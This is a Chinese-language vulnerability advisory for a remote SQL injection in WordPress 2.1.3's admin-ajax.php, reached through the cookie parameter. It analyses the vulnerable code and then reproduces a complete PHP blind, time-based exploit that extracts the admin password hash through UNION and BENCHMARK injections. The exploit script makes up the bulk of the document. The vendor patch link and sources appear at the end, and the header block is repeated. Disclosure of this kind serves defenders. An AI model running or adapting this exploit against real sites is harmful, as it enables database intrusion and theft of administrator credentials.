Wordpress admin-ajax.php远程SQL注入漏洞
添加时间:
2008-10-04
系统编号:
WAVDB-01107
BUGTRAQ: 27406
影响版本:
WordPress 2.1.3
程序介绍:
漏洞利用:
解决方案:
厂商补丁:
WordPress
---------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://wordpress.org/download/
信息来源:
<*来源:Janek Vind (come2waraxe@yahoo.com)
链接:http://secunia.com/advisories/25345/
http://marc.info/?l=bugtraq&m=117985846700637&w=2
*>
2008-10-04
系统编号:
WAVDB-01107
BUGTRAQ: 27406
影响版本:
WordPress 2.1.3
程序介绍:
WordPress是一款免费的论坛Blog系统。
漏洞分析:
WordPress实现上存在输入验证漏洞,远程攻击者可能利用此漏洞执行SQL注入攻击非授权访问数据库。
WordPress的wp-admin/admin-ajax.php文件没有正确验证对cookie参数的输入。在wp-admin/admin-ajax.php的6行:
- define('DOING_AJAX', true);
- check_ajax_referer();
- if ( !is_user_logged_in() )
- die('-1');
然后在check_ajax_referer()函数中:
- function check_ajax_referer() {
- $cookie = explode('; ', urldecode(emptyempty($_POST['cookie']) ?
- $_GET['cookie'] : $_POST['cookie'])); // AJAX scripts must pass
- cookie=document.cookie
- foreach ( $cookie as $tasty ) {
- if ( false !== strpos($tasty, USER_COOKIE) )
- $user = substr(strstr($tasty, '='), 1);
- if ( false !== strpos($tasty, PASS_COOKIE) )
- $pass = substr(strstr($tasty, '='), 1);
- }
- if ( !wp_login( $user, $pass, true ) )
- die('-1');
可见使用了urldecode(),因此通过%2527就可以向wp_login()传送单引号,绕过php的magic_quotes功能。
接下来:
- function wp_login($username, $password, $already_md5 = false) {
- global $wpdb, $error;
- ...
- $login = get_userdatabylogin($username);
最终:
- function get_userdatabylogin($user_login) {
- global $wpdb;
- ...
- if ( !$user = $wpdb->get_row("SELECT * FROM $wpdb->users
- WHERE user_login = '$user_login'") )
- return false;
因此攻击者可以执行SQL注入攻击。
漏洞利用:
- <?php
- error_reporting(E_ALL);
- $norm_delay = 0;
- ///////////////////////////////////////////////////////////////////////
- ///////////////////////////////////////////////////////////////////////
- // WordPress 2.1.3 "admin-ajax.php" sql injection blind fishing exploit
- // written by Janek Vind "waraxe"
- // http://www.waraxe.us/
- // 21. may 2007
- ///////////////////////////////////////////////////////////////////////
- ///////////////////////////////////////////////////////////////////////
- //=====================================================================
- $outfile = './warlog.txt';// Log file
- $url = 'http://localhost/wordpress.2.1.3/wp-admin/admin-ajax.php';
- $testcnt = 300000;// Use bigger numbers, if server is slow, default is 300000
- $id = 1;// ID of the target user, default value "1" is admin's ID
- $suffix = '';// Override value, if needed
- $prefix = 'wp_';// WordPress table prefix, default is "wp_"
- //======================================================================
- echo "Target: $url\n";
- echo "sql table prefix: $prefix\n";
- if(emptyempty($suffix))
- {
- $suffix = md5(substr($url, 0, strlen($url) - 24));
- }
- echo "cookie suffix: $suffix\n";
- echo "testing probe delays \n";
- $norm_delay = get_normdelay($testcnt);
- echo "normal delay: $norm_delay deciseconds\n";
- $hash = get_hash();
- add_line("Target: $url");
- add_line("User ID: $id");
- add_line("Hash: $hash");
- echo "\nWork finished\n";
- echo "Questions and feedback - http://www.waraxe.us/ \n";
- die("See ya! :) \n");
- ///////////////////////////////////////////////////////////////////////
- ///////////////////////////////////////////////////////////////////////
- function get_hash()
- {
- $len = 32;
- $field = 'user_pass';
- $out = '';
- echo "finding hash now ...\n";
- for($i = 1; $i < $len + 1; $i ++)
- {
- $ch = get_hashchar($field,$i);
- echo "got $field pos $i --> $ch\n";
- $out .= "$ch";
- echo "current value for $field: $out \n";
- }
- echo "\nFinal result: $field=$out\n\n";
- return $out;
- }
- ///////////////////////////////////////////////////////////////////////
- function get_hashchar($field,$pos)
- {
- global $prefix, $suffix, $id, $testcnt;
- $char = '';
- $cnt = $testcnt * 4;
- $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
- $ipattern = " UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(ORD(SUBSTRING($field,$pos,1))%s,BENCHMARK($cnt,MD5(1337)),3)/*";
- // First let's determine, if it's number or letter
- $inj = sprintf($ipattern, $prefix, $id, ">57");
- $post = sprintf($ppattern, $suffix, $inj, $suffix);
- $letter = test_condition($post);
- if($letter)
- {
- $min = 97;
- $max = 102;
- echo "char to find is [a-f]\n";
- }
- else
- {
- $min = 48;
- $max = 57;
- echo "char to find is [0-9]\n";
- }
- $curr = 0;
- while(1)
- {
- $area = $max - $min;
- if($area < 2 )
- {
- $inj = sprintf($ipattern, $prefix, $id, "=$max");
- $post = sprintf($ppattern, $suffix, $inj, $suffix);
- $eq = test_condition($post);
- if($eq)
- {
- $char = chr($max);
- }
- else
- {
- $char = chr($min);
- }
- break;
- }
- $half = intval(floor($area / 2));
- $curr = $min + $half;
- $inj = sprintf($ipattern, $prefix, $id, ">$curr");
- $post = sprintf($ppattern, $suffix, $inj, $suffix);
- $bigger = test_condition($post);
- if($bigger)
- {
- $min = $curr;
- }
- else
- {
- $max = $curr;
- }
- echo "curr: $curr--$max--$min\n";
- }
- return $char;
- }
- ///////////////////////////////////////////////////////////////////////
- function test_condition($p)
- {
- global $url, $norm_delay;
- $bret = false;
- $maxtry = 10;
- $try = 1;
- while(1)
- {
- $start = getmicrotime();
- $buff = make_post($url, $p);
- $end = getmicrotime();
- if($buff === '-1')
- {
- break;
- }
- else
- {
- echo "test_condition() - try $try - invalid return value ...\n";
- $try ++;
- if($try > $maxtry)
- {
- die("too many tries - exiting ...\n");
- }
- else
- {
- echo "trying again - try $try ...\n";
- }
- }
- }
- $diff = $end - $start;
- $delay = intval($diff * 10);
- if($delay > ($norm_delay * 2))
- {
- $bret = true;
- }
- return $bret;
- }
- ///////////////////////////////////////////////////////////////////////
- function get_normdelay($testcnt)
- {
- $fa = test_md5delay(1);
- echo "$fa\n";
- $sa = test_md5delay($testcnt);
- echo "$sa\n";
- $fb = test_md5delay(1);
- echo "$fb\n";
- $sb = test_md5delay($testcnt);
- echo "$sb\n";
- $fc = test_md5delay(1);
- echo "$fc\n";
- $sc = test_md5delay($testcnt);
- echo "$sc\n";
- $mean_nondelayed = intval(($fa + $fb + $fc) / 3);
- echo "mean nondelayed - $mean_nondelayed dsecs\n";
- $mean_delayed = intval(($sa + $sb + $sc) / 3);
- echo "mean delayed - $mean_delayed dsecs\n";
- return $mean_delayed;
- }
- ///////////////////////////////////////////////////////////////////////
- function test_md5delay($cnt)
- {
- global $url, $id, $prefix, $suffix;
- // delay in deciseconds
- $delay = -1;
- $ppattern = 'cookie=wordpressuser_%s%%3dxyz%%2527%s; wordpresspass_%s%%3dp0hh';
- $ipattern = ' UNION ALL SELECT 1,2,user_pass,4,5,6,7,8,9,10 FROM %susers WHERE ID=%d AND IF(LENGTH(user_pass)>31,BENCHMARK(%d,MD5(1337)),3)/*';
- $inj = sprintf($ipattern, $prefix, $id, $cnt);
- $post = sprintf($ppattern, $suffix, $inj, $suffix);
- $start = getmicrotime();
- $buff = make_post($url, $post);
- $end = getmicrotime();
- if(intval($buff) !== -1)
- {
- die("test_md5delay($cnt) - invalid return value, exiting ...");
- }
- $diff = $end - $start;
- $delay = intval($diff * 10);
- return $delay;
- }
- ///////////////////////////////////////////////////////////////////////
- function getmicrotime()
- {
- list($usec, $sec) = explode(" ", microtime());
- return ((float)$usec + (float)$sec);
- }
- ///////////////////////////////////////////////////////////////////////
- function make_post($url, $post_fields='', $cookie = '', $referer = '', $headers = FALSE)
- {
- $ch = curl_init();
- $timeout = 120;
- curl_setopt ($ch, CURLOPT_URL, $url);
- curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
- curl_setopt($ch, CURLOPT_POST, 1);
- curl_setopt($ch, CURLOPT_POSTFIELDS, $post_fields);
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
- curl_setopt ($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)');
- if(!emptyempty($cookie))
- {
- curl_setopt ($ch, CURLOPT_COOKIE, $cookie);
- }
- if(!emptyempty($referer))
- {
- curl_setopt ($ch, CURLOPT_REFERER, $referer);
- }
- if($headers === TRUE)
- {
- curl_setopt ($ch, CURLOPT_HEADER, TRUE);
- }
- else
- {
- curl_setopt ($ch, CURLOPT_HEADER, FALSE);
- }
- $fc = curl_exec($ch);
- curl_close($ch);
- return $fc;
- }
- ///////////////////////////////////////////////////////////////////////
- function add_line($buf)
- {
- global $outfile;
- $buf .= "\n";
- $fh = fopen($outfile, 'ab');
- fwrite($fh, $buf);
- fclose($fh);
- }
- ///////////////////////////////////////////////////////////////////////
- ?>
解决方案:
厂商补丁:
WordPress
---------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://wordpress.org/download/
信息来源:
<*来源:Janek Vind (come2waraxe@yahoo.com)
链接:http://secunia.com/advisories/25345/
http://marc.info/?l=bugtraq&m=117985846700637&w=2
*>